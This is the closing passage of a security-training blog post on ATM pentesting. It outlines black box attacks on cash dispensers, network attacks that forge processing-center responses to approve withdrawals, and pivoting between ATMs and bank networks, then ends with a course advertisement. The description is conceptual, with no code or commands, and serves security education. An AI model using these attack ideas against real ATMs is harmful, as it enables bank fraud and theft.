System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.

Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.

Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there. 

We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.

Summary

ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.

Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.

The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.